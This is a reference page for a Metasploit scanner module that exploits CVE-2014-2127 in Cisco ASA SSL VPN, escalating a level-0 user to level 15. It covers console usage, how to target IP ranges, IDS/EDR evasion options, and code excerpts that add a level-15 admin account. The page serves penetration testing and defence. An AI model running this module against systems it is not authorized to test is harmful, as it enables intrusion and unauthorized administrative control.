Cisco ASA SSL VPN Privilege Escalation Vulnerability - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/cisco_ssl_vpn_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco ASA SSL VPN Privilege Escalation Vulnerability
Module: auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
Source code: modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb
Disclosure date: 2014-04-09
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-2127
This module exploits a privilege escalation vulnerability for Cisco ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to level 15.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
msf auxiliary(cisco_ssl_vpn_priv_esc) > show options
... show and set options ...
msf auxiliary(cisco_ssl_vpn_priv_esc) > set RHOSTS ip-range
msf auxiliary(cisco_ssl_vpn_priv_esc) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(cisco_ssl_vpn_priv_esc) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(cisco_ssl_vpn_priv_esc) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(cisco_ssl_vpn_priv_esc) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the scanner/http/cisco_ssl_vpn_priv_esc auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
msf6 auxiliary(scanner/http/cisco_ssl_vpn_priv_esc) > show info
Name: Cisco ASA SSL VPN Privilege Escalation Vulnerability
Module: auxiliary/scanner/http/cisco_ssl_vpn_priv_esc
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-04-09
Provided by:
jclaudius <[email protected]>
lguay <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
GROUP clientless yes A specific VPN group to use
PASSWORD clientless yes A specific password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETRIES 10 yes The number of exploit attempts to make
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME clientless yes A specific username to authenticate as
VHOST no HTTP server virtual host
Description:
This module exploits a privilege escalation vulnerability for Cisco
ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
level 15.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-2127
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa
https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt
Module Options
This is a complete list of options available in the scanner/http/cisco_ssl_vpn_priv_esc auxiliary module:
msf6 auxiliary(scanner/http/cisco_ssl_vpn_priv_esc) > show options
Module options (auxiliary/scanner/http/cisco_ssl_vpn_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
GROUP clientless yes A specific VPN group to use
PASSWORD clientless yes A specific password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETRIES 10 yes The number of exploit attempts to make
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME clientless yes A specific username to authenticate as
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/cisco_ssl_vpn_priv_esc auxiliary module:
msf6 auxiliary(scanner/http/cisco_ssl_vpn_priv_esc) > show advanced
Module advanced options (auxiliary/scanner/http/cisco_ssl_vpn_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/cisco_ssl_vpn_priv_esc module can do:
msf6 auxiliary(scanner/http/cisco_ssl_vpn_priv_esc) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/cisco_ssl_vpn_priv_esc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/cisco_ssl_vpn_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to run '<COMMAND>'
Here is a relevant code snippet related to the "Unable to run '<COMMAND>'" error message:
113:
114: if resp &&
115: resp.body.include?('Cisco Adaptive Security Appliance Software Version')
116: return resp.body
117: else
118: vprint_error("Unable to run '#{command}'")
119: vprint_good("Retrying #{i} '#{command}'") unless i == 2
120: end
121: end
122:
123: return nil
Unable to run '<COMMAND>'
Here is a relevant code snippet related to the "Unable to run '<COMMAND>'" error message:
136: !resp.body.include?('Command authorization failed') &&
137: !resp.body.include?('Command failed')
138: vprint_good("Privilege Escalation Appeared Successful")
139: return [username, password]
140: else
141: vprint_error("Unable to run '#{command}'")
142: vprint_good("Retrying #{i} '#{command}'") unless i == tries - 1
143: end
144: end
145:
146: return nil
Does not appear to be Cisco SSL VPN
Here is a relevant code snippet related to the "Does not appear to be Cisco SSL VPN" error message:
191: end
192:
193: def run_host(ip)
194: # Validate we're dealing with Cisco SSL VPN
195: unless validate_cisco_ssl_vpn
196: vprint_error("Does not appear to be Cisco SSL VPN")
197: return
198: end
199:
200: # This is crude, but I've found this to be somewhat
201: # interimittent based on session, so we'll just retry
Failed to login to Cisco SSL VPN
Here is a relevant code snippet related to the "Failed to login to Cisco SSL VPN" error message:
210: datastore['GROUP']
211: )
212:
213: # See if our authentication attempt failed
214: unless cookie
215: vprint_error("Failed to login to Cisco SSL VPN")
216: next
217: end
218:
219: # Grab version
220: version = do_show_version(cookie)
Show version failed
Here is a relevant code snippet related to the "Show version failed" error message:
222: if version &&
223: version_match = version.match(/Cisco Adaptive Security Appliance Software Version ([\d+\.\(\)]+)/)
224: print_good("Show version succeeded. Version is Cisco ASA #{version_match[1]}")
225: else
226: do_logout(cookie)
227: vprint_error("Show version failed")
228: next
229: end
230:
231: # Attempt to add an admin user
232: creds = add_user(cookie)
Failed to created user account on Cisco SSL VPN
Here is a relevant code snippet related to the "Failed to created user account on Cisco SSL VPN" error message:
235: if creds
236: print_good("Successfully added level 15 account #{creds.join(", ")}")
237: user, pass = creds
238: report_escalated_creds(user, pass)
239: else
240: vprint_error("Failed to created user account on Cisco SSL VPN")
241: end
242: end
243: end
244:
245: def report_escalated_creds(username, password)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #6493 Merged Pull Request: move SSL to the default options
- #6202 Merged Pull Request: Fix some unbalanced brackets in module Authors
- #3305 Merged Pull Request: Adds Cisco SSL VPN Privilege Escalation exploit (CVE-2014-2127)
References
- CVE-2014-2127
- http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa
- https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/cisco_asa_asdm
- auxiliary/scanner/http/cisco_asa_asdm_bruteforce
- auxiliary/scanner/http/cisco_asa_clientless_vpn
- auxiliary/scanner/http/cisco_device_manager
- auxiliary/scanner/http/cisco_directory_traversal
- auxiliary/scanner/http/cisco_firepower_download
- auxiliary/scanner/http/cisco_firepower_login
- auxiliary/scanner/http/cisco_ios_auth_bypass
- auxiliary/scanner/http/cisco_ironport_enum
- auxiliary/scanner/http/cisco_nac_manager_traversal
- auxiliary/scanner/http/cisco_ssl_vpn
- auxiliary/scanner/ike/cisco_ike_benigncertain
- auxiliary/scanner/misc/cisco_smart_install
- auxiliary/scanner/snmp/cisco_config_tftp
- auxiliary/scanner/snmp/cisco_upload_file
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/networking/cisco_asa_extrabacon
- auxiliary/admin/networking/cisco_config
- auxiliary/admin/networking/cisco_dcnm_auth_bypass
- auxiliary/admin/networking/cisco_dcnm_download
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/admin/networking/cisco_vpn_3000_ftp_bypass
- auxiliary/dos/cisco/cisco_7937g_dos
- auxiliary/dos/cisco/cisco_7937g_dos_reboot
- auxiliary/gather/cisco_pvc2300_download_config
- auxiliary/gather/cisco_rv320_config
- auxiliary/voip/cisco_cucdm_call_forward
- auxiliary/voip/cisco_cucdm_speed_dials
- auxiliary/dos/cisco/ios_http_percentpercent
- auxiliary/dos/cisco/ios_telnet_rocem
- auxiliary/spoof/cisco/cdp
- auxiliary/spoof/cisco/dtp
- auxiliary/admin/http/foreman_openstack_satellite_priv_esc
- auxiliary/admin/http/katello_satellite_priv_esc
Authors
- jclaudius <jclaudius[at]trustwave.com>
- lguay <laura.r.guay[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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